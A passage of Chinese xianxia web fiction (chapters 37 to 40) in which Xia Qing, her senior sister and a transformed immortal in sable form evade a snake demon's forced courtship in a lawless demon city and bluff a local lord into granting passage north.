这哪里是荒城,分明就是蛮荒时代的赛博朋克! 第37章 第三十七章 荒城独特的建筑风格和城市风貌令夏清大感震撼, 忍不住惊叹:“真厉害!” “我们要往北走横穿荒城。”柳菡云道,“中途可以乘一段飞舟代步,师妹, 要不要去试试?” 夏清颇感兴趣:“可以吗?” 柳菡云弯起眼笑了:“当然可以!” 前往飞舟站点的途中, 柳菡云向夏清科普:“荒城的四个大门分别由三个不同的势力看守, 我们刚刚进来的西门属于人魔势力, 往南走是妖鬼的地盘,东和北两个方向则在魔族把控之中。” 夏清听得皱起眉头:“魔族这么大势力?” 不好好待在魔渊, 就知道满世界乱跑,占据荒城半壁江山,就连仙界都安插了不少魔族卧底。 “荒城的魔族不能算真正的魔族。”柳菡云解释道, “它们更多是一些妖魔混血, 或者在魔渊混不下去的魔族底层,也就在蛮荒能作威作福。” 柳菡云话音落下,夏清感觉四周投来一些不友善的目光。 她嘴角颤了颤, 面色僵硬,尴尬地提醒柳菡云:“师姐,要不咱们还是小声一点?” 柳菡云浑然不觉:“什么?” 夏清无语,之前是谁说的要行事低调啊? 不过, 这会儿说什么都已经迟了,因为她看见人群中有几个怪模怪样的地痞朝她们聚拢来。 柳菡云还在侃侃而谈,夏清一把拽住她的胳臂:“快走!” 赶在那几个魔族围聚过来之前,夏清拉着柳菡云上了一辆飞舟。 飞舟舱门合上, 将未挤上来的人隔绝在外。 夏清没来得及松口气,忽然感觉有人拍拍她的肩膀。 扭头看去, 一个长得特别克系的章鱼怪朝她伸来一根小臂粗的触手:“一人两个金锭。” 夏清:“?!!” 哇,怎么不去抢?! 柳菡云在旁小声嘀咕:“飞舟收费这么贵吗?” 她们迟疑这一会儿, 飞舟上十几名乘客同时朝她们看过来,带着审视的眼神讥诮地望着她们。 夏清发现,这辆飞舟上全是奇形怪状的妖族人。 被这些人不怀好意的目光盯着,夏清心头惴惴头皮发麻,预感如果不给足费用,她俩可能下不了飞舟。 于是,夏清扭头看向柳菡云:“师姐……” 柳菡云摊开手:“我没钱。” 之前雅梅给的答谢礼早就被她花光了。 夏清:“……” 本着低调不闹事的原则,夏清忍着肉痛给了四个金锭,章鱼妖转身离开,去收其他人的乘务费,周围那些古怪的视线也都挪开。 夏清松口气,左顾右盼之际,看见章鱼妖从一只猫妖手里接过两个铜板。 “!” 靠啊。 原来妖怪也要宰外乡客。 早知道飞舟这么贵,她才不要好奇! 可惜世上难买早知道,夏清悔不当初。 钱花都花了,就好好观赏一下飞舟上的景色,也好稍微回点儿本。 这不看不知道,一看吓一跳,夏清戳戳柳菡云的胳臂:“师姐,你看这飞舟是不是往南走呢?” 柳菡云打眼瞧了瞧,点头:“对。” 视野中出现一座高塔,顶端挂着一面黑旗,上书:南市。 是荒城的南市,低头往下看,纵横交错的街道上全是奇形怪状的精怪。 刚进西城门的时候还能看见一些人形的妖修魔修,这会儿目之所及就没有两条腿走路的,甚至还有不成形体,在空中飘来飘去的。 夏清掩面扶额。 这趟旅程真是精彩纷呈惊吓连连。 飞舟到南市就停下来,妖怪们纷纷下舟,夏清搓搓手问章鱼妖:“这舟还往不往回走?” 章鱼妖一摊手:“一人两个金锭。” 夏清:“……” “咳,我就随便问问。”说完,她一把拽住柳菡云,迅速溜下飞舟。 随着人群走进南市,夏清犹自肉痛:“四个金锭,就坐那么一小会儿,还被威胁,也太惨了,还有没有天理有没有王法呀!” 让夏清破费,柳菡云也有点不好意思,小声回答:“……在荒城是没有的。” 夏清瞪她一眼:“我知道,不用你说。” 便在这时,小雪貂从夏清怀里钻出来,小爪子上勾着一个钱袋子。 夏清:“???” 柳菡云停下脚步:“啊,这好像是……” 话没说完,身后忽然传来一阵喧嚣:“抓贼啦!!!!” 夏清和柳菡云四目相对。 “!!!” 下一秒,夏清一把抓住小雪貂手里的钱袋,二话不说塞进衣兜。 “跑啊!” 柳菡云反应过来,也跟着拔腿飞奔。 南市妖魔鬼怪实在太多,街上密密麻麻全是精怪,没多久,夏清就和柳菡云走散了。 身后章鱼怪遣来的人手越来越多,紧咬不放,夏清也没功夫去找柳菡云,慌乱之中,无意间闯进一处灯红柳绿之所。 一大群莺莺燕燕簇拥过来,夏清被各式各样的古怪味道熏得睁不开眼。 身后喧嚣越来越近,情急之下,夏清左躲右闪避开人群,随便拉开一个房间躲进去。 合上房门,夏清转身欲往里边走,没两步,忽然步子一顿,进退两难。 只见那房间里,一女子背对她,正面朝一块圆形的铜镜梳妆。 夏清的闯入并未将她惊扰,她描眉的笔走势平稳流畅,但从夏清的角度,那铜镜中的倒影,是一颗倒三角吊眼蛇头。 身后门外响起混乱的脚步声,抓贼的队伍已气势汹汹冲上阁楼。 而她身前的屋子除了身后房门,其余三面都是墙壁。 夏清倒吸一口气,合眼戴上痛苦面具。 然而,预想中的破门声没有出现,章鱼怪手下在门前停下脚步,态度竟格外恭敬:“绮琴姑娘,方才有个人族小贼闯入阁楼,可有惊扰姑娘?” 蛇妖背对夏清淡淡开口:“未曾。” 嗓音竟还有些好听。 门外妖怪得到确切回应,居然真的信了:“不在这里,去别的地方找找!” 不一会儿,妖怪们悉数撤退,走廊上恢复寂静。 纵然侥幸脱险,夏清却心跳如鼓,丝毫不敢放松警惕。 显而易见,这位名唤绮琴的蛇妖比刚才的章鱼怪更加重量级。 夏清觉得她和柳菡云进荒城之前,应该先卜一卦看看气运,这也忒衰了。 “咳,那什么,多谢姑娘。”夏清鼓起勇气开口,一边说一边往后退,直至退到门边,“我就先……”走了。 最后两个字没说完,咔哒一声,房门自动上了闩。 夏清尝试推拉,一动不动,卡得死死的。 “……”完球了。 “姑娘来都来了,何必急着要走?” 这声音就响在夏清耳后,惊得她一个激灵,背上瞬间爬满鸡皮疙瘩。 小雪貂蹿上夏清肩膀,背拱起来,朝蛇妖龇牙咧嘴。 夏清来不及阻止,蛇妖抬袖随手一扫,小雪貂当场昏迷,从夏清肩上跌下来。 “卿卿!”夏清大惊,顾不得许多,接住小雪貂搂进怀里抱紧。 她翻过身来,后退几步与蛇妖拉开距离,但最多也就退到墙角,当她后背撞上冰冷的墙面,便再无路可退。 蛇妖两步就追上来,脸上容妆格外娇媚明艳,笑吟吟地看着夏清:“这小貂儿是你的卿卿?” 夏清不答,蛇妖眼中笑意不减,贴近夏清托起她的下巴:“人族果然都生得好看,这般相貌真是上上佳品。” 蛇妖嘴角诡异地勾起来,说话时,好像还伴随吐气的丝丝声,听得夏清毛骨悚然。 “在荒城境内,你的小* 貂儿护不住你。”蛇妖冰冷的指腹轻轻抚过夏清脸颊,好似欣赏一件艺术品,欲将她纳入掌中细细把玩,“不若杀了它,做奴家的妖侣,如此你便可保全性命,南市领主也要卖奴家一个面子。” 被蛇妖手指抚过的地方,夏清感觉像中毒了一样,触感宛如针扎。 浓郁的香粉气息扑面而来,呛得夏清不敢呼吸,梗着脖子说道:“我和你素不相识,没有感情基础,处不来的。” 蛇妖笑得眼睛弯成一条细缝:“感情可以培养嘛,奴家中意你,只需要你点头,此事就成了。” 夏清非常崩溃,理智渐渐消失:“可我,可我是女的啊!” “你的卿卿不也是一只母貂?”蛇妖觉得夏清这话非常好笑,反问道,“她可以,为何奴家就不可以?” 那能一样吗!!! 见夏清脸色煞白说不出话,蛇妖欺近她:“你既不再反抗,奴家就当你同意了哦。” “同意个鬼!”夏清怒从中来,用力推开蛇妖,拔腿往门边跑。 及至门前,夏清抓住门闩,打算大力出奇迹。 门闩抖了两下,确有要打开的迹象,但不等夏清拉开门,身后一条冰冷的蛇尾巴闪电般蹿过来,卷住她的腰。 随即,无法反抗的力量将夏清高高抛起,转眼间,又狠狠下落,砸在硬邦邦的床板上。 蛇尾触手似的灵活弯曲,牢牢束缚夏清的手脚,将她按在床上。 夏清:“!!!” 她用力挣扎,试图掰开蟒蛇的尾巴,但力量悬殊,收效甚微。 相反,她越反抗,蛇尾缠得就越紧。 这条蛇尾巴橡皮似的没有延展的极限,绑住夏清手脚,又卷住夏清的身体,还能再圈住夏清的脖子,压得她喘不过气。 昏迷的小雪貂在蛇尾束缚之下,小小的身子都快被挤变形了。 卿卿! 白镜玄身为堂堂仙尊,何曾遭过这般罪? 夏清气得脸都青了。 “你别太过分!” 危机关头,惊惧转化为愤怒,不知哪里来的力量涌遍夏清全身,她右手手掌倏然发烫。 一道暗青色华光自夏清掌心亮起,身前蛇妖毫无预兆爆发一声惨叫,尾巴像被烫到似的迅速往回缩。 夏清趁机脱身,飞奔至门前,用力摇晃几下。 门闩坠落,房门打开,夏清毫不犹豫飞奔出去。 阁楼中霎时响起阵阵惊呼,狐狸精、蜘蛛精、甚至鸡精鸭精纷纷现身拦路。 夏清翻开手掌,掌心小鼎泛着蒙蒙青光。 她意念稍动,青光便扩散开来,将夏清身前五步的道路照亮。 这青光像一团炽烈的火,但凡被它扫到,拦路精怪纷纷爆发惨叫,不敢过多阻挠。 没想到竟被福生鼎救了性命,不愧是上古神器,破了都还有这么大的威力。 夏清没有时间庆幸,抓紧时间夺路而逃。 身后阁楼上,明艳美人在铜镜中化身巨蟒,口中吐着蛇信,獠牙尖利,面目狰狞。 “福生鼎……” 巨蟒张嘴,口吐人言。 它所过之处,阁中精怪纷纷跪地叩首,瑟瑟发抖。 巨蟒攀上阁中梁柱,蛇眼冷冰冰地扫过地上匍匐的精怪们,冷声吩咐: “把她给我抓回来!” 第38章 第三十八章 夏清逃出阁楼, 拐进一条偏僻无人的巷子,暂时躲起来。 妖族和兽人虽然同宗同源,但还是有明显区别。 兽人虽具备一些妖族的特征, 但本质上还是人, 以族群共生的方式谋生, 建立国度, 传承文明薪火。 而妖则是精怪,由兽类通过修炼幻化成人形。 兽人不会修炼也可以维持人的样貌, 但妖不可以。 南市街上不乏有修成人形的妖怪,但夏清穿这身衣裳实在太显眼了,走到哪里都会被跟踪, 只要在人前现身就会立马被抓回去。 得想想办法混淆视听。 也不知道柳菡云跑到哪里去了, 关键时刻就派不上用场。 照这样下去,她们几时才能离开荒城继续赶路? 夏清摘掉自己头上的发绳,把头发迅速揉乱, 然后拿出一套衣服,故意将衣服扔到地上沾些泥尘,踩上几个脚印,这才穿上身。 稍作一番打扮, 通过地上的水洼照一照,差强人意。 不过,大差不差也算是改头换面了。 夏清准备溜出街巷,忽而又想到, 妖怪既是兽类修行幻化而成,它们辨人追踪就不完全靠眼睛, 还需改变身上的气味。 这时,怀里小家伙醒过来, 黑豆似的圆眼睛眨巴眨巴,朦胧的眼神渐渐清醒。 “卿卿!”夏清喜出望外,“你可算醒了!” 她话音刚落,小雪貂倏地跳上夏清的脑袋,一张小脸儿正正经经地绷着,眼神充满警惕。 夏清先是吓了一跳,随即反应过来,白镜玄肯定以为她们还在阁楼中。 “已经没事了,你先下来。”夏清反手将小雪貂从脑袋上摘下来,抱入怀中好生安抚,同时与她说明现在的情况,“我们躲在此地也非长久之计,那些妖怪肯定能找过来,若不能掩盖气息,迟早被她们抓到!” 身后追兵暂时未至,小雪貂若有所思。 片刻后,它小爪子一伸,不知从何处取出一块面具。 夏清:“?!” 这块面具正是白镜玄在圣宫当祭司的时候戴的。 小雪貂指指面具,又指指夏清的脸,夏清试探着问:“你让我戴这个?此物能掩盖气息?” “吱!”小雪貂点点头。 巷子外面有脚步声由远及近,夏清没时间犹豫,抓起面具便盖在自己脸上。 那面具接触夏清脸颊便自行依附,配合她的脸部结构自适应调整,服服帖帖地粘在脸上,居然一点异物感也没有。 身后,几个精怪闯进巷口,看见夏清,怒喝:“转过来!” 夏清深吸一口气,怀着不成功便成仁的决绝心思转过身去,同时藏在袖中的手悄悄掐诀,哪怕身份暴露,她也不能坐以待毙。 然而,追兵看清她的样子,纷纷愣住。 随即它们竟不约而同往后退了一步。 “我们找错人了!”那领头的精怪撂下这么一句便迅速带人离去。 不多时,巷子里安静下来,只余夏清一个人孤零零站着。 脚下水洼映出夏清此刻的样貌。 面具附着在夏清脸上,她的下颌还是人类的样子,但鼻梁往上却长出羽毛,两侧额角点缀几根红得如烈焰般的翎羽。 夏清不可思议:“我现在……看起来像一只朱雀?” 白镜玄似颇满意自己的作品,小爪子托着下巴,点点头。 面具不仅改变了夏清的容貌同时也掩盖了她的气息,如此一来,那蛇妖想再找到她,就不大容易了。 夏清劫后余生,终于能暂时放松紧绷的心神。 情之所至,难以自持,她抱起小雪貂狠狠亲一口:“还是你比较靠谱!” 白镜玄就算变成小雪貂也能替她解决问题,不像某个光会捅篓子的师姐。 可话虽这么说,她也不能真的放下柳菡云不管,还是得去找一找。 夏清习惯性抱起小雪貂,正待出发,忽而脚步一顿,低头盯着小雪貂看一会儿,缓缓皱眉。 小雪貂也仰头看向她,对上夏清视线,它不解地歪歪脑袋。 夏清再次抛出问题:“那蛇妖见过你,我们这样出去,它们认出你来,一样暴露啊,你能不能变个别的样子?” 白镜玄:“……” 如果她能变又怎么会一直保持这个模样?! 或许是她的眼神过于无语,夏清也反应过来自己说了什么胡话,顿觉懊恼。 “实在不行,就先藏起来……” 夏清话没说完,小雪貂从她怀里蹿出来,闭眼坠落。 哗啦—— 地面上泥浆四溅。 片刻后,它抖抖毛毛站起来,小脸儿侧开不与夏清对视。 它现在是个泥貂了。 夏清大为震撼,一时间竟没反应过来。 下一瞬,胳臂一沉,小雪貂沾着满身泥巴重新跳回夏清怀里。 夏清:“啊啊啊!!!” 半个时辰之后,夏清从河里将洗干净的小雪貂捞上来。 再然后,她用花草调配的汁液将雪貂身上的毛毛染成浅橙色,又撕下布条给它做了件简单的衣服,彻彻底底改换了样貌。 白镜玄虽然不是很喜欢现在这个毛色,但也没有别的办法,只能接受。 “我们去街上寻一寻师姐。” 夏清让乔装改扮后的小雪貂趴在自己肩膀上,重新回到南市。 为防被人盯上,她尽量低调,不着人问路,只在心头默默卜算一卦。 卦成,天风姤。 巳时变六,变卦泽风大过。 居然是姤卦,而且变成了大过。 有女,势强而位高。 夏清心里顿时暗犯嘀咕:难不成柳菡云也遇到了跟她相似的经历? 强买强卖是什么妖族习俗吗? 夏清一边小心谨慎地观察四周,一边按照卦象指示去寻找柳菡云的踪迹。 街上好几拨气势汹汹的精怪四处寻找,但与夏清见面不识,错身而过。 夏清一开始还很紧张,慢慢的心头有了底气,姿态便愈发从容。 离开南市,她继续往东南方向走。 柳菡云在一个周围有许多竹子或藤蔓植物的休闲娱乐场所。 途径一条小河,对岸出现一片郁郁葱葱的花园,阵阵丝竹管弦之声从河对岸飘过来。 夏清闻声精神一震。 正待踏水过河,忽而头上小雪貂伸出爪爪,阻止夏清。 夏清视线往上抬,问它:“怎么了?” 小雪貂朝夏清摇摇头,小脸儿上神情严肃。 夏清意会:“这里很危险?” 小雪貂点点头。 夏清又问:“比刚才的蛇妖还危险?” 小雪貂:“吱。” 夏清肩膀耷拉下去,没脾气:“那怎么办?” 小雪貂伸出小爪子来,又是凌空一抓,一个巴掌大的小物件儿凭空出现。 此物夏清认识,是白镜玄在兽人圣宫中的身份信物。 “你让我拿着此物过去?”夏清试探着问,“这东西有用?” 小雪貂拍拍自己的小胸脯:包有用的。 夏清脑门上冒出一串小问号,联想白镜玄重重举动,倏地反应过来:“里面的人你认识?” 小雪貂黑豆眼眨了眨,心虚地扭开头。 见状,夏清虚起眼,眉梢一挑:“难不成还是暧昧对象?” 小雪貂缩回脖子,拼命摇头。 “啧。”夏清撇撇嘴,语气忽然变得很酸,“是与不是,我去看看就知道了。” 言罢,不管小雪貂再有什么反应,夏清大步迈过小河,走向对岸郁郁葱葱的竹林。 她踏进竹林范围的一瞬间,立马便有几只精怪现身拦路。 夏清举起白镜玄给她的身份信物,理直气壮地说道:“我来见你们家主人。” 精怪们瞧了眼夏清手上的东西,竟然当真没有攻击她,反而还让开一条路。 一只雀鸟模样的妖走在前面,招呼夏清:“你且随我来。” 小雪貂趴在夏清头上左顾右盼,小爪爪用力揪着夏清头发,感觉得出来,它好像有点紧张。 夏清没好气瞪它一眼,白镜玄肯定心里有鬼! 雀妖在前带路,夏清紧跟其后,不多时,她们穿过茂密的竹林,来到一处僻静清幽的小楼。 夏清一眼便看见端端正正坐在客位上的柳菡云。 柳菡云看见夏清的同时,也看见她头上的小雪貂,感觉这一人一貂莫名眼熟,但因变化太大又不敢开口相认。 便在这时,阁楼上琴音戛然而止,随即飘下来一道温温柔柔的女声:“她为何不亲自前来?” 乍一听这话,夏清没反应过来,还循着声抬头看向楼上,只瞧见一面珠帘,背后隐约可见朦朦胧胧的绮丽身影。 夏清不答,对方也没有动怒,而是再次开口:“兽人族祭司,与姑娘是什么关系?” “你是何人?跟她又是什么关系?”夏清不答反问。 如此冒犯的态度,柳菡云和引夏清来的雀妖同时变了脸色。 然而,阁楼上的人却依然平静温和,语带笑意:“祭司没有告诉你?” 话音落下,楼上珠帘向两侧抬起,露出一张不怒自威的笑脸。 “本座乃城南领主,与兽人族祭司大人有过一纸婚约。” 夏清头上,小雪貂毛毛炸开。 你胡说八道! 第39章 第三十九章 城南领主这句话, 不仅让小雪貂炸毛,连客座上的柳菡云也吓一大跳。 柳菡云手里的杯子险些脱手,幸而及时握住, 但杯里的茶水荡漾出来, 撒了她一身。 与兽人祭司有婚约, 岂不是说…… 柳菡云不敢想象。 镜玄仙尊乃是出了名的无情道剑修, 怎可能与人拟定婚约? 夏清默,瞥了眼炸毛的雪貂, 心说女人的嘴骗人的鬼,白镜玄,你可真会沾花惹草, 都惹到妖族来了。 但面对城南领主, 夏清还是不卑不亢:“不知阁下与祭司大人的婚期定在什么时候?” 城南领主拨了拨面前的琴弦,面带浅笑:“如此大事自要两邦相商,年初时我曾派遣使者去兽人族与陛下商议此事, 但祭司大人政务繁忙,因而暂时未有定论,本座还以为阁下是来报喜的呢。” “哦——”夏清拖长音,“那实在不巧, 我来此是为另一件事。” 城南领主笑问:“愿闻其详。” “我受祭司大人所托前往荒古遗迹寻找一味药材,需从荒城借道往北而去,烦请领主行个方便。 夏清此言一出,客座上柳菡云眼睛倏地亮了。 能说出这番话的, 只有夏清。 她与夏清隔空对视,彼此无声递了个眼色, 夏清摇了摇头,暂时不与柳菡云相认。 城南领主闻言, 沉吟须臾,点头道:“原来如此,既是祭司所托,本座自然要与你行此方便,姑娘来者是客,不若入座饮一杯茶再走?” “多谢领主美意。”夏清拱手,“在下却之不恭。” 说完,夏清抬步踏进楼阁之中,在柳菡云对面的空位坐下来。 待入席坐定,她又故意说道:“日后如果领主与祭司大人的婚期定下来,我也来蹭一杯喜酒,沾沾喜气。” 小雪貂急得吱哇乱叫,被夏清一把按住,塞回衣兜。 领主闻言展颜:“好说好说,一定一定。” 阁中侍女来给夏清斟茶,夏清将茶杯托在手中,但悄悄留了个心眼儿,作势饮茶,茶水却没有入口,悄悄倒掉了。 如此,当侍女来掺第三杯茶时,夏清以寻药之事宜早不宜迟为由,起身准备告辞。 便在这时,先前不知何时退下的雀妖又一次出现,于阁楼前驻足,向南城领主禀报:“主上,绮琴姑娘求见。” 夏清闻言一惊。 绮琴,不就是先前那条霸道蛮横的蛇妖? 阁楼之上,南城领主语带疑惑:“她来做什么?” 雀妖据实以告:“说是听闻主上府里来了一位人类贵客,因此前来拜见。” 南城领主闻言扭头看向柳菡云:“柳姑娘与绮琴是旧识?” 柳菡云一脸懵逼:“啊?没听过,不认识。” “这就奇怪了。”南城领主疑惑地皱起眉头,“莫名其妙的,她瞎凑什么热闹?” 客座另一边,夏清心虚忐忑地擦了擦额角的冷汗。 她虽然戴了面具改了扮相,但那蛇妖与她近身接触过,乔装改扮恐怕不好使,很容易被认出来。 蛇妖只是听说领主府上有人族客人,便敢来探,可见她所言非虚,在南城地界内,领主都要忌惮她三分。 若蛇妖认出她,场面必定失控,只怕到时候就走不了了。 夏清不敢冒这个险,遂当机立断:“时辰差不多了,在下应该动身启程,请阁下赐我一件信物,我好速为祭司大人办差。” 城南领主点头,吩咐雀妖:“去拿笔墨。” 雀妖应声,恭敬告退。 夏清对面,柳菡云也站起来:“今日叨扰领主大人了,为领主大人今日出面解围之事,柳某感激不尽,再次谢过。” “不再多坐会儿吗?”城南领主意外道,“绮琴姑娘可是专程为你而来呢。” 柳菡云回答:“在下与这位绮琴姑娘并不相识……” 可她话音将将落下,阁楼外小径便传来一声笑语:“有缘千里来相会,只要缘分到了,初见也胜过故知,姑娘,你说是不是?” 一道窈窕身姿绕过竹林荫庇出现在众人眼前,其人笑意明艳,妆容映丽,不失为一道秀丽风景。 过于耳熟的声音听得夏清起一身鸡皮疙瘩,恨不得当场遁地而走。 柳菡云自己就是个自来熟的人,没曾想还有比她更不见外的,给整不会了了,顿了半天憋出一句:“你说得对。” 绮琴见状,笑得花枝招展。 她行至楼前,向南城领主见礼:“民女绮琴,见过领主大人。” 城南领主摆摆手:“起来吧,不必多礼。” 绮琴遂摇着软绵绵的步子走进亭中,视线随即落在阁内唯一低头不语的夏清身上。 “呀,这位姑娘。”绮琴娇声惊呼,“你我是不是曾在哪里见过?” 这话一出,城南领主和柳菡云也同时看向夏清。 夏清心里一咯噔,暗自捏了一把汗。 她任由垂落的乱发遮挡了自己的五官,故作平静:“姑娘说笑了,我们今天才第一次见。” 柳菡云疑惑:“诶,你的声音怎么……” “日夜兼程,偶感风寒。”夏清瞪一眼状况外的猪队友,“近来嗓子有点不舒服。” 城南领主闻言挽留:“既然如此,姑娘便莫急着走,在本座府上住些时日,休息好了再去寻药如何?” 夏清哪里敢留,忙不迭道:“多谢领主好意,但此事乃祭司大人所托,在下不敢怠慢,还是早些完成任务,回圣城后再好好休养。” 绮琴惊讶:“阁下是从弭荼洲来的?” 夏清不与绮琴对视,侧着身子点头:“正是。” 前去拿笔墨的雀妖去而复返。 城南领主提笔,正待写下一道通行令,绮琴忽然开口:“领主大人,今日幸亏民女来此,否则领主大人就要被一些用心险恶的异族人蒙骗了。” 领主笔下微顿,倏地抬起头来:“何出此言?” 夏清心头暗道不好。 果然,绮琴冷眼看向夏清,嗤笑道:“此人分明是一个人类,却假扮兽人!” 城南领主眉头一蹙,提起的笔重新放下,审视的眼神看向夏清:“人类?” “不仅如此。”绮琴又看向柳菡云,“这两个人是一伙的,抢劫飞舟之后逃逸,再编纂谎言向领主大人求得通行令逃离荒城,如意算盘打得真响!” 柳菡云:“!” 领主大人眼神变得清寒冷淡,但仍愿意给柳菡云一个解释的机会:“当真如此?” 当然坚决不能承认,夏清梗着脖子大声说道:“绮琴姑娘莫要血口喷人!我手中握有兽人祭司的信物,怎会有半句虚言,领主大人难道辨不出信物真假吗?” 夏清言之凿凿,态度坚定,语气铿锵,领主大人眼里寒意褪去些许,举棋不定。 “要辨你所言真假还不容易?”绮琴凑近夏清,视线穿过夏清额前凌乱的青丝,与她对视,唇边勾起一抹冷笑,“你敢不敢将手掌摊开?” 夏清额角冷汗涔涔,她当然不敢。 她的右手掌心有福生鼎的契约文印,绮琴不久前才为福生鼎所伤,记得清清楚楚,此番发难就是为了报复她,又怎会轻易松口。 夏清心念电转。 已被对方逼入绝境,只能兵行险着,不破不立。 于是,她深吸一口气,大大方方将双手摊开,朗声道:“我就摊开手掌,你又能怎么样?” 她右手掌心,赫然可见福生鼎的纹样。 绮琴似没料到夏清会有此举,一时间没反应过来。 没等她开口控诉,夏清已大声抢白:“我本想为姑娘留两分脸面,奈何姑娘非要步步紧逼!” “我为兽人祭司办差途径贵宝地,不过想借道而行,姑娘却欲将我强留,逼我婚嫁,我侥幸逃脱你又追来此地,真当我是泥捏的不成?!” 夏清遂转头面向南城领主:“恳请领主大人为在下主持公道!” “你!”绮琴瞪圆双眼,不可置信。 夏清打断她:“你说我与柳姑娘同伙,可有证据?你指认我是人类,又有何证据?你不能证明你说的话,但我手中的祭司信物却是千真万确!我看你不过是见财心起,挑弄是非,欲图谋我手中的福生鼎!” 绮琴被夏清打个搓手不及,还待争辩,突然嘭一声响,南城领主拍了一掌桌子:“够了。” 夏清心跳惴惴,但挺直身板儿半步不退。 绮琴的脸色一会儿乌青一会儿发白,很是绷不住。 南城领主将视线投向唯一一个尚未吭声的人,问道:“柳姑娘,你怎么看?” 柳菡云目光扫过夏清,又瞧了眼绮琴。 夏清的心狠狠提起:师姐师姐,求你了啊啊啊啊,可千万别砸场子! 随即,便听柳菡云沉声回答:“诸位之事与我无关,我还要去找走散的师妹,也不便再留,便先告退。” 此话说完,她向城南领主拱了拱手,遂头也不回地转身离开。 城南领主没有出声挽留。 直到柳菡云脚步声彻底消失,阁中无人再开口。 夏清屏住呼吸,一只手搭在怀里,按住雪貂跃跃欲试的小脑袋。 是成是败,在此一举了。 终于,阁楼上的人缓缓开口:“绮琴,你退下吧。” 绮琴面色大变:“领主!” “退下!” 一声低喝如雷音炸响,震得绮琴面色发白,脚下踉跄两步,被迫退到院中。 她低下头,肩膀微微发颤,不敢再放肆,向阁上之人躬身行了一礼,而后迅速离开。 于是,阁中只剩城南领主和夏清。 夏清提起的心缓缓放下,长舒一口气:“多谢领主……” “不必忙着向本座道谢。”领主冷冰冰的视线飘过来,“本座只是趁机敲打蛇妖,不代表当真信了你的鬼话。” 夏清:“……” 第40章 第四十章 能在荒城坐上领主位置的角色, 当然不好糊弄。 夏清心头那一点侥幸破灭,只能硬着头皮面对惨烈的现实,尴尬道:“在下所言皆是实情。” “你的身份也是实情?”南城领主冷声问她。 事已至此, 再瞎说只怕彻底开罪领主, 夏清揉了揉鼻子, 无奈地摘下面具, 露出真容:“我的确是人类。” 南城领主并不意外,只道:“你既是人类, 为何替兽人族办差?” 夏清手中的祭司信物千真万确,此物兽人祭司通常随身携带,绝不可能被人盗取, 这一点令南城领主大感疑惑。 “因为祭司大人于在下有恩。”夏清脑子一转, 解释道,“在下游历蛮荒途经圣城,意外插手了兽人大典兽使失踪事件, 因而遭人报复,好在祭司大人出手助我度过难关,才躲过一劫。” “祭司大人政务繁忙不便脱身,而荒古遗迹危险重重, 我为报恩才主动请缨,给自己揽了这么个差事。” 南城领主视线投向夏清手中面具。 夏清意会,摆手道:“我刚到荒城就与绮琴姑娘结怨,她派人满街寻我, 我不得已,才改换样貌。” 南城领主了然, 点头:“原来如此。” 夏清朝领主恭恭敬敬拱手:“在下并非故意隐瞒身份,在此向领主大人赔罪, 但前往荒古遗迹寻药之事事不宜迟,还请领主大人行个方便。” 南城领主不再多言,重新提笔写下一份通行令,并提醒夏清:“看在兽人祭司的面子上,本座给你一个忠告:绮琴此番虽退,但绝不会善罢甘休,本座只能保证你在南城无恙。” 夏清双手接过通行令,感激不尽:“如此便足够了,多谢领主大人。” 来时雀妖再次现身,领着夏清离开。 夏清原路返回,出了领主府地界之后,她重新戴上面具,寻思着是否再卜个卦寻寻柳菡云。 旁边忽然飞来一枚石子,咔哒一声落到她脚边。 夏清倏地停下脚步,扭头朝石子飞来方向看过去,便见柳菡云自深巷中探出半个脑袋,朝夏清招了招手。 片刻后,夏清与柳菡云在深巷中汇合。 “你可算出来了。”柳菡云眉目舒展,长处一口气,“我还以为你被领主扣住了。” 夏清瞧她一眼,戏谑:“你方才挺聪明嘛,还知道不与我相认。” “得嘞。”柳菡云哪里听不出夏清这句话的意思,举手投降,“我只是反应慢一点,没闹明白你这是唱哪出,你怎么同那妖艳女子扯上关系的?” 夏清无奈,只得再将此行遭遇解释一遍,听得柳菡云目瞪口呆:“精彩!” “你若觉得精彩,我把这个难得的机会让给你?”夏清挤兑道。 “那可不行!”柳菡云连连摇头,“人蛇妖姑娘看上的是我们夏师妹,还不是因为师妹容貌出众,我哪有这个艳福命?” 夏清实在没忍住,抬腿踹柳菡云一脚。 小雪貂从夏清怀里冒头。 柳菡云看见它,先愣了一下,随后哈哈大笑:“你怎么给它弄成这个色儿了?” 夏清还没说什么,小雪貂大怒,照着柳菡云的胳臂就是狠狠一口。 柳菡云:“嗷——” 夏清提溜小雪貂的后脖颈,将它抓回来,与柳菡云聊正事:“抓紧走吧,别耽搁时间了,等天黑了,这城里更乱。” 柳菡云虽然神经大条,但也分得清轻重缓急,闻言附和:“行。” 有了前车之鉴,夏清二人不再乘坐飞舟,而是选择徒步行走,避开人群,从城南前往城北。 去荒古遗迹只能走荒城北门,虽然北门和东门皆是魔族之人看守,但夏清手中有南城领主的通行文书,魔族领主也愿意卖南城领主一个人情,出城的路倒是好走了许多。 意料之外没有遭遇阻拦,柳菡云忍不住赞叹:“居然这么顺利!” 夏清也很意外,此行路上她一直暗中提防,唯恐那名叫绮琴的蛇妖偏执不悟,非要与她斗个你死我活。 倒没想到对方从始至终没有出现,她们已经顺利离开荒城,蛇妖跟来的可能性大大降低,也算是劫后余生。 二人乘着夜色继续赶路,途中闲来无事,柳菡云向夏清打听:“师妹,你先前在祭司大人手下帮忙,可曾听说她和南城领主的婚事?” 夏清闻言,脚下步子顿了顿。 怀里小雪貂更是疯狂炸毛,若不是被夏清牢牢按着,它又要冲出来咬人。 “未曾听闻。”夏清暗中揪了一把小雪貂的耳朵,口头上则道,“领主既曾派使臣前往兽人族,此事想必兽人女皇知晓因由,待我们完成此行任务,回去问一问便知晓真相。” 柳菡云点点头:“师妹所言不错。” 顿了几秒,她又问:“师妹,你觉得这婚事是真的吗?” 夏清:“……” 果然八卦是人类的天性,哪怕修了仙也改不掉这臭毛病。 于是她反问柳菡云:“师姐以为呢?” 小雪貂被夏清按住动弹不得,只能以眼神警告柳菡云,不要乱说话。 柳菡云当然没有接收到白镜玄传递的信号,但她还是摇了摇头:“我觉得不大可能。” 小雪貂长长松了一口气,看向柳菡云的眼神稍稍温和了些:算你识相。 夏清则不动声色:“为何?” 柳菡云仗着白镜玄不在,侃侃而谈:“峰主这个人,若论容貌自然绝色倾城,天下无双,但她性格冷淡,不懂风情,人又古板,一天到晚只知道修炼,哪可能与人缔结婚约?” 小雪貂毛毛又炸了,张牙舞爪要咬柳菡云。 柳菡云不可置信地瞥它一眼,向夏清告状:“师妹,你这貂儿该不是疯了吧?” 